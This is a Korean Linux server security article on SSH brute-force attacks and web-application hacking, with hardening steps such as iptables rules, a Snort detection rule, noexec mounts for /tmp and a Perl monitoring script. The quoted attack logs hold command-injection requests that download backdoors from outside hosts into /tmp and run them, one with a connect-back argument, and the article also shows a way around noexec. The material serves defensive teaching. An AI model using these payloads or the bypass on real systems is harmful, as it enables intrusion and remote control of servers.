최근 리눅스 해킹 동향에 대해

오늘과내일 홍석범(antihong@tt.co.kr)

최근 리눅스 기반의 서버에서 자주 목격되는 해킹 동향에 대해 알아보도록 하자.

리눅스 해킹의 순서
최근 리눅스 기반의 서버에 대한 공격자들은 다음과 같은 순서로 진행을 하는 것으로 보인다.

(1) 일반유저 권한 획득방법
① ssh를 통한 무작위대입법
② 웹 응용프로그램의 취약성을 이용한 웹 해킹

(2) root 권한 획득방법
커널(kernel)의 취약성을 이용한 root 권한 획득

커널(kernel)의 취약성을 이용한 root 권한 획득에 대비하기 위해서는 적어도 2.4.30 이후의 최신 버전을 사용하면 되므로 여기에서는 일반유저 권한 획득에 방어하기 위한 방안에 대해 좀 더 자세히 살펴보기로 한다.

ssh를 통한 무작위대입법(brute force)

ssh를 통한 무작위대입법(brute force)을 통하여 쉬운 암호를 사용하는 계정에 대한 로그인을 하는 방식은 작년 말부터 유행하기 시작한 공격 방식으로 이 공격이 줄지 않는 것은 다음과 같은 이유가 있다.

-. 최근의 리눅스 배포판에서는 ssh가 기본적으로 설치되는 경우가 많다.
-. ssh를 통할 경우 직접 root 로그인이 가능한 경우도 많고(PermitRootLogin yes) 시스템의 취약성은 많이 줄어들었지만 쉬운 암호를 사용하는 경향은 여전히 줄지 않고 있다.

아래는 ssh에 대한 brute force시에 openssh, ssh2등에서 남은 로그를 보여주고 있다.

```
Apr 15 14:20:44 test sshd(pam_unix)[24182]: authentication failure; logname= uid=0 euid=0 tty=NODEVssh ruser= rhost=xxx.xxx.xxx.xxx user=admin
Apr 15 14:20:48 test sshd(pam_unix)[24183]: authentication failure; logname= uid=0 euid=0 tty=NODEVssh ruser= rhost=xxx.xxx.xxx.xxx user=info
Apr 15 14:20:54 test sshd(pam_unix)[24187]: authentication failure; logname= uid=0 euid=0 tty=NODEVssh ruser= rhost=xxx.xxx.xxx.xxx user=root
```

```
Mar 31 21:49:10 ns opensshd[13845]: Illegal user temp from xxx.xxx.xxx.xxx
Mar 31 21:49:10 ns opensshd[13845]: Failed password for illegal user temp from xxx.xxx.xxx.xxx port 51014 ssh2
```

```
May 8 05:53:32 free8 sshd[613]: connection from " xxx.xxx.xxx.xxx "
May 8 05:53:33 free8 sshd[5987]: password authentication failed. Login to account library not allowed or account non -existent.
May 8 05:53:35 free8 sshd[613]: connection from " xxx.xxx.xxx.xxx "
May 8 05:53:36 free8 sshd[5989]: password authentication failed. Login to account info not allowed or account non -existent.
```

위와 같은 공격에 대응하기 위해서 다음과 같은 조치를 취할 수 있다.

① 암호 관리를 철저히 하여 쉬운 암호를 사용하는 계정은 없는지 확인하여 # passwd -l user와 같이 lock을 걸도록 한다.
② ssh의 보안 설정을 변경하여 허용된 유저, 허용된 IP에서만 접근을 허용한다. Openssh의 경우 tcp wrapper을 이용하여, ssh2의 경우 AllowHosts를 이용하여 IP를 제한 설정하면 된다.
③ 임의로 포트 번호를 변경하여 사용하도록 한다. 이러한 경우 ssh(22/tcp)에 대한 무작위 스캔을 임시로 피할 수 있다.
④ iptables 방화벽을 이용하여 허용된 IP에서만 접근을 허용하고 이외의 접속은 거부하도록 한다. 이를테면 아래의 경우 192.168.1.0/24 대역에서만

ssh 접속을 허용하고 이외의 IP에서는 접근을 차단하는 설정이다.

```
# iptables -A INPUT -p tcp ?s 192.168.1.0/24 --dport 22 ?j ACCEPT
# iptables -A INPUT -p tcp --dport 22 ?j DROP
```

추가적으로 아래의 script를 사용하여 로그파일을 분석하여 ssh scan에 대해 차단하는 설정을 할 수도 있다.
http://bluedogsecurity.cyberinfo.se/ssh_block/
http://sodaphish.com/files/tattle

아래는 snort IDS를 사용시 ssh 스캔을 탐지하는 룰을 보여주고 있는데, 아래의 경우 120초 동안 한 IP에서 5회 이상 접속 요구가 있을 경우에 탐지를 하고 있다.

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"BLEEDING-EDGE Potential SSH Scan"; flags:S; threshold:type threshold, track by_src, count 5, seconds 120; flowbits:set,ssh.brute.attempt; classtype:suspicious-login; sid:2001219; rev:9;)
```

웹 응용프로그램의 취약성을 이용한 해킹

다음은 게시판이나 로그분석 프로그램 등 웹 응용프로그램의 취약성을 이용한 해킹을 통해 웹 서버의 실행권한인 nobody나 apache등을 확보하는 방식으로 웹 해킹의 기법과 취약성에 대해서는 여러 문서에서 다루고 있으므로 여기에서는 생략하기로 하고 다음 단계인 백도어 파일 업로드 및 실행 과정에 대해 알아보도록 하자.

아래는 각각 technote라는 게시판, awstat이라는 웹로그 분석 프로그램의 취약성을 이용하여 웹을 통해 직접 시스템 명령어를 실행하고 있는 것을 보여주고 있다.
여기에서 첫 번째, 두 번째, 세 번째 단계 모두 백도어 파일을 먼저 /tmp에 업로드하고 /tmp로 이동하여 업로드한 백도어 파일을 실행하는 과정을 보여주고 있다.

```
201.9.xxx.xxx - - [28/Oct/2004:10:59:45 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|wget%20-
P%20/tmp%20http://xxx.xxxxx.com/cavaleirosb1/xpl/rootedoor| HTTP/1.1" 200 5 "-"
"Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"

201.9.xxx.xxx - - [28/Oct/2004:11:00:10 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|cd%20..;cd
%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%
20..;cd%20..;cd%20..;cd%20/tmp;chmod%20777%20rootedoor;./rootedoor| HTTP/1.1"
200 5 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"

200.96.xx.xxx - - [26/Jan/2005:06:34:30 +0000] "GET /cgi-bin/awstats/awstats.pl?xxx=%20/tmp;
wget%20http://www.nokiacxxxx.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00
HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
```

다른 일반적인 해킹뿐만 아니라 웹 해킹에서 공통적으로 나타나는 현상은 바로 /tmp 디렉토리의 적극적인 이용이다. /tmp는 말 뜻 그대로 임시로 사용하기 위한(temporary) 목적으로 사용되는 디렉토리로, 디렉토리의 퍼미션이 1777이므로 이 디렉토리 내에서는 누구나 제한 없이 파일을 생성하고 또 실행할 수 있게 된다. 웹 해킹을 통해 nobody 권한을 획득한 공격자의 경우 다음 단계의 진행을 위해서는 백도어 파일을 외부에서 다운로드(즉 대아 서버에 업로드)후 실행하여야 하는데, 일반적으로 일반 유저의 홈 디렉토리 내에서는 nobody 권한으로 파일을 생성할 수 있는 권한이 없으므로 당연히 제한 없이 사용이 가능한 /tmp를 사용하게 되는 것이다. 그런데 최근 들어 공격자들은 /tmp 뿐만 아니라 다른 디렉토리를 이용하기 시작하였다. 그것은 바로 상대적으로 관리자의 관리가 미치지 않는 /var/tmp와 /dev/shm을 이용하는 것이다. 그러나 이외에도 시스템에 따라 다른 디렉토리도 존재하는데, 통상 아래의 디렉토리가 백도어 경로로서 사용된다. 물론 이외에도 다른 디렉토리가 존재할 수 있으므로 아래의 명령어를 실행하여 각자 확인해 보기 바란다.

```
# find / -perm 1777 –print
```

/tmp/

/var/tmp/
/dev/shm
/var/spool/mail
/var/spool/vbox
/var/spool/samba
/var/lib/texmf

이 중 /var/spool/vbox나 /var/spool/samba, /var/lib/texmf 는 특정한 응용 프로그램이 설치되었을 때 사용되므로 특별히 사용하지 않는다면 삭제하는 것이 좋다. 그리고 일부 배포판의 경우 /var/spool/mail 이 1777이 아닌 경우도 있을 것이다.

문제는 /tmp/와 /var/tmp/ 그리고, /dev/shm인데, 이 디렉토리에 대한 보안을 강화할 수 있는 방안에 대해 살펴보도록 하자. 적지 않은 응용프로그램이 작동 과정에서 /tmp와 /var/tmp를 사용하므로 임의로 퍼미션을 변경하거나 삭제하면 안 된다.

rm –f /var/tmp
ln –s /tmp /var/tmp

따라서 먼저 위와 같이 /var/tmp를 삭제하고, 이를 /tmp로 링크하도록 한다. 따라서 /tmp와 /dev/shm만 모니터링 하면 될 것이다. 정상적인 경우 이 디렉토리에서는 실행하거나 s비트가 설정된 파일이 불필요하므로 다음과 같이 /etc/fstab 파일을 열어 설정을 변경하도록 한다.

변경전)
/dev/sda10 /tmp ext3 defaults
none /dev/shm tmpfs defaults

변경후)
/dev/sda10 /tmp ext3 defaults,noexec,nosuid
none /dev/shm tmpfs defaults,noexec,nosuid

이후 다음과 같이 mount를 다시 하여 두 파티션에서는 어떠한 파일도 실행할 수 없고, suid를 사용할 수 없도록 설정한다.

mount –oremount /tmp
mount –oremount /dev/shm

적용 여부는 mount 또는 cat /proc/mounts로 확인하면 된다.

이후 다음과 같이 간단한 script를 만들어 실제 적용 여부를 확인해 보자.
두 스크립트 모두 w를 실행 후 결과를 출력해주는 간단한 스크립트이다.

#!/usr/bin/perl $w=`w`; print $w;	#!/bin/sh w

[test.cgi] [test.sh]

위와 같이 설정후 파일의 퍼미션도 755로 변경하여 아래와 같이 /tmp에서 실행해 보면 작동하지 않는 것을 알 수 있다.

[root@sp /tmp]# ./test.sh
bash: ./test.sh: Permission denied

[root@sp /tmp]# ./test.cgi
bash: ./test.cgi: Permission denied

파티션 자체에 noexec 옵션을 주었으므로 아무리 파일에 실행권한이 있어도 작동하지 않는 것이다. 만약 /tmp가 별도의 파티션에 설정되지 않고 /에 포함되어 있다면 위와 같이 설정할 수 없으므로 이때는 아래와 같이 /tmp를 별도로 추가 설정하면 된다.

```
# cd /dev
# dd if=/dev/zero of=tmpmount bs=1024 count=800000
# mke2fs -j /dev/tmpmount
   -j 옵션은 ext3로 생성한다는 의미, 생략하면 ext2로 생성.

# mount -o loop,noexec,nosuid,rw /dev/tmpmount /tmp
```

```
# chmod 1777 /tmp/


### /etc/fstab 에 아래 내용 추가

/dev/tmpmount     /tmp      xt3   loop,noexec,nosuid,rw 0 0

# df -h
/dev/tmpmount            769M   17M  714M   3% /tmp

정상적으로 /tmp가 추가된 것을 알 수 있다.
```

물론 이때 기존의 /tmp에서 다른 파일 등이 존재하고 있었다면 미리 /tmp 디렉토리를 백업받고 작업하여야 할 것이다. 또한 mysql socket등은 /tmp에서 실행되므로 작업 후에는 mysql을 재 가동하여야 한다.

noexec의 한계

이와 같이 설정할 경우 script kid의 공격 시도는 차단할 수 있지만, 이를 우회할 수 있는 방법이 있다.
이를 테면 다음과 같이 실행하면 해당 파티션에 noexec 옵션을 설정했다 하더라도 아무런 의미가 없어지게 된다. 왜냐하면 /tmp/ 이하의 파일들은 직접 실행한 것이 아니라 실행시 참조만 했을 뿐 실제 실행한 것은 /usr/bin/perl이나 /bin/sh이기 때문이다.

```
$ /usr/bin/perl /tmp/test.cgi
$/bin/sh /tmp/test.sh
```

따라서 위와 같이 noexec 옵션을 설정하여 script kid의 공격 시도를 차단하는 동시에 /tmp와 /var/tmp에 대해 수시로 모니터링을 하여야 한다.
그래서 필자는 아래와 같이 수시로 /tmp 디렉토리에 대해 nobody 소유의 파일을 모니터링하여 비정상적인 파일이 있을 경우 메일로 통보하도록 스크립트를 운영하고 있다.

```
#!/usr/bin/perl

$TASK = `find /tmp -user nobody | grep -v sess_`;
$HOSTNAME = `/bin/hostname`;
$TO_MAIL      = 'antihong@tt.co.kr';
$SUBJECT      = "$HOSTNAME backdoor 여부 확인";
$MAIL_PROGRAM  = "/usr/sbin/sendmail";

if ($TASK){
&task_confirm;
}
sub task_confirm{
open(MAIL, "|$MAIL_PROGRAM -t");
    print MAIL "To: $TO_MAIL \ n";
    print MAIL "Subject: $SUBJECT \ n \ n";
    print MAIL "아래는 소유자가 nobody인 파일입니다. \ n";
    print MAIL "백도어 여부를 확인해 주세요... \ n";
    print MAIL "Host: $HOSTNAME \ n";
     print MAIL "$TASK \ n";
close(MAIL);
 }
```

그러나 이 방법 역시 백도어 실행 후 삭제하면 검색이 안 되는 등 많은 헛점이 있으므로 웹 해킹을 당하지 않도록 보안을 강화하는 방법 외에는 없을 것이다. 또는 가장 확실한 방법으로는 modsecurity를 활용하여 /tmp에 대해 filter를 설정하면 웹을 통해 /tmp로 접근하려는 시도 자체를 차단할 수 있을 것이다. Modsecurity의 적용에 대해서는 홈페이지(http://www.modsecurity.org/) 또는 필자가 집필한 리눅스 서버보안관리 실무(http://www.superuser.co.kr/linuxsecurityadmin/)를 참고하면 도움이 될 것이다.